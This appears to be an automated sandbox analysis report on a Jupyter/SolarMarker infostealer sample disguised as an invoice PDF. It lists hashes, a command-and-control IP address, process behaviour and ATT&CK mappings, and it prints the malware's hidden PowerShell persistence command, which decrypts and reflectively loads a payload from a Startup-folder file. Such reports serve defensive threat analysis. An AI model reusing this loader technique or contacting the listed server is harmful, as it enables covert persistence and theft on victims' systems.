jupyter | dbba073f0c88fe42a7614b65cb8db2f5ad346fdfb1e21763288d2d73e65c9b6f

General

Target

Tools-Invoice.pdf.exe
Size

272.0MB
MD5

19ec298f977fdc71f195a4782fa8b156
SHA1

4a6035ce7510a7cc02bb785244e2cfcaec89131d
SHA256

32b42c8c10ce7ec03005931d079fe7bb7f0e5b36bcf57a789081c6f7787e630c
SHA512

d8cd8e043c24998d41b06ed0de8a8628389dab04be583094e68f5660ccc666dc260367297d373c800869fe36878aa8730fe35c2eb0b1e6631c0c2fec338b2391
SSDEEP

49152:Uj+t6IRUEFX1PVv3Gfbs8HuQq1nvHol6Kz3DfjkJO:Uj+tNtV/AAFBH9yzLt

Score

10^/10

jupyter backdoor stealer trojan

Malware Config

Extracted

Family

jupyter

C2

http://146.70.71.174

Signatures

Jupyter, SolarMarker
Jupyter is a backdoor and infostealer first seen in mid 2020.
backdoor trojan stealer jupyter

Drops startup file 1 IoCs

Processes:

Tools-Invoice.pdf.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\rhMqrqYRwrbdJvZodiqIKrqXphAZn.uPpFgaTyEDvPqWYDqamu	Tools-Invoice.pdf.exe

Executes dropped EXE 1 IoCs

Processes:

TvtuziedoTs.exe

pid process

1712 TvtuziedoTs.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

pid	process
1712	TvtuziedoTs.exe

Modifies registry class 7 IoCs

Processes:

Tools-Invoice.pdf.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000_CLASSES\uqjifpjisbykkuamzuh\shell\open\command	Tools-Invoice.pdf.exe
Key created	\REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000_CLASSES\uqjifpjisbykkuamzuh	Tools-Invoice.pdf.exe
Key created	\REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000_CLASSES\uqjifpjisbykkuamzuh\shell	Tools-Invoice.pdf.exe
Key created	\REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000_CLASSES\uqjifpjisbykkuamzuh\shell\open	Tools-Invoice.pdf.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000_CLASSES\uqjifpjisbykkuamzuh\shell\open\command\ = "powershell -windowstyle hidden -command \"$AC=New-Object System.Security.Cryptography.AesCryptoServiceProvider;$AC.Key=[Convert]::FromBase64String('4tlPZeU/u3NIcXTiv65iMu84tVLO8U2c+xIHrjnZmxo=');$EB=[Convert]::FromBase64String([IO.File]::ReadAllText([System.Text.Encoding]::Utf8.GetString([System.Convert]::FromBase64String('QzpcVXNlcnNcQWRtaW5cQXBwRGF0YVxSb2FtaW5nXE1pY3Jvc29mdFxXaW5kb3dzXFN0YXJ0IE1lbnVcUHJvZ3JhbXNcU3RhcnR1cFxyaE1xcnFZUndyYmRKdlpvZGlxSUtycVhwaEFabi51UHBGZ2FUeUVEdlBxV1lEcWFtdQ=='))));$AC.IV = $EB[0..15];$Decryptor=$AC.CreateDecryptor();$UB=$Decryptor.TransformFinalBlock($EB, 16, $EB.Length-16);$AC.Dispose();[Reflection.Assembly]::Load($UB);[rt8wjQPEtmlcqs2iZrKuC47aQbTVEoFCYALe76hrb9pjqI8TnDQI_jjI0fyLqYCg.F5YiBpBH3_z]::QcCj8u48mNjtGnV7OG0X1ZnL892XAoU7zbmgVpCcAaUUbOZCUGvAYET2YXVRYaeFftCcN();\""	Tools-Invoice.pdf.exe
Key created	\REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000_CLASSES\.uppfgatyedvpqwydqamu	Tools-Invoice.pdf.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000_CLASSES\.uppfgatyedvpqwydqamu\ = "uqjifpjisbykkuamzuh"	Tools-Invoice.pdf.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

Tools-Invoice.pdf.exe

description pid process

Token: SeDebugPrivilege 2600 Tools-Invoice.pdf.exe

description	pid	process
Token: SeDebugPrivilege	2600	Tools-Invoice.pdf.exe

Suspicious use of WriteProcessMemory 7 IoCs

Processes:

Tools-Invoice.pdf.exe

description	pid	process	target process
PID 2412 wrote to memory of 1712	2412	Tools-Invoice.pdf.exe	TvtuziedoTs.exe
PID 2412 wrote to memory of 1712	2412	Tools-Invoice.pdf.exe	TvtuziedoTs.exe
PID 2412 wrote to memory of 1712	2412	Tools-Invoice.pdf.exe	TvtuziedoTs.exe
PID 2412 wrote to memory of 1712	2412	Tools-Invoice.pdf.exe	TvtuziedoTs.exe
PID 2412 wrote to memory of 2600	2412	Tools-Invoice.pdf.exe	Tools-Invoice.pdf.exe
PID 2412 wrote to memory of 2600	2412	Tools-Invoice.pdf.exe	Tools-Invoice.pdf.exe
PID 2412 wrote to memory of 2600	2412	Tools-Invoice.pdf.exe	Tools-Invoice.pdf.exe

C:\Users\Admin\AppData\Local\Temp\Tools-Invoice.pdf.exe
"C:\Users\Admin\AppData\Local\Temp\Tools-Invoice.pdf.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2412
- C:\Users\Admin\AppData\Local\Temp\TvtuziedoTs.exe
  "C:\Users\Admin\AppData\Local\Temp\TvtuziedoTs.exe"
  2⤵
  - Executes dropped EXE
  PID:1712
- C:\Users\Admin\AppData\Local\Temp\Tools-Invoice.pdf.exe
  "C:\Users\Admin\AppData\Local\Temp\Tools-Invoice.pdf.exe" /s
  2⤵
  - Drops startup file
  - Modifies registry class
  - Suspicious use of AdjustPrivilegeToken
  PID:2600

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\TvtuziedoTs.exe

Filesize
997KB

MD5
dbc534854dd385e59a3f1906ddfb9020

SHA1
2b3062d82232ce10a8713829199769ff0d12e0fc

SHA256
06486febb76aaa7bf469ba1bf46a92c4eafc42a5626646184e8865c862d09dd0

SHA512
1506fbc8fca0a3ca06e24fdae2fb9e8cb345fd6197f5cbbaa990490cc20a25b72906ab9668725f29c0bfce6528bd7dca5dc15ca0ac3c0327d1876e58e3d47951

Download Submit
memory/1712-9-0x00000000001B0000-0x00000000001B1000-memory.dmp

Filesize
4KB

Download
memory/1712-26-0x00000000001B0000-0x00000000001B1000-memory.dmp

Filesize
4KB

Download
memory/1712-20-0x0000000000400000-0x0000000000500000-memory.dmp

Filesize
1024KB

Download
memory/2412-0-0x0000000000E60000-0x000000000109E000-memory.dmp

Filesize
2.2MB

Download
memory/2412-1-0x000007FEF59E0000-0x000007FEF63CC000-memory.dmp

Filesize
9.9MB

Download
memory/2412-10-0x000007FEF59E0000-0x000007FEF63CC000-memory.dmp

Filesize
9.9MB

Download
memory/2600-16-0x0000000000D70000-0x0000000000E16000-memory.dmp

Filesize
664KB

Download
memory/2600-14-0x00000000005C0000-0x0000000000608000-memory.dmp

Filesize
288KB

Download
memory/2600-15-0x0000000000400000-0x0000000000408000-memory.dmp

Filesize
32KB

Download
memory/2600-13-0x00000000003E0000-0x00000000003FC000-memory.dmp

Filesize
112KB

Download
memory/2600-17-0x0000000000610000-0x0000000000644000-memory.dmp

Filesize
208KB

Download
memory/2600-18-0x00000000007A0000-0x00000000007EA000-memory.dmp

Filesize
296KB

Download
memory/2600-19-0x0000000000410000-0x0000000000426000-memory.dmp

Filesize
88KB

Download
memory/2600-12-0x000000001B4B0000-0x000000001B792000-memory.dmp

Filesize
2.9MB

Download
memory/2600-21-0x000000001BEB0000-0x000000001BF30000-memory.dmp

Filesize
512KB

Download
memory/2600-24-0x000000001BF30000-0x000000001BFE4000-memory.dmp

Filesize
720KB

Download
memory/2600-11-0x000007FEF59E0000-0x000007FEF63CC000-memory.dmp

Filesize
9.9MB

Download
memory/2600-27-0x000007FEF59E0000-0x000007FEF63CC000-memory.dmp

Filesize
9.9MB

Download
memory/2600-30-0x000000001BEB0000-0x000000001BF30000-memory.dmp

Filesize
512KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads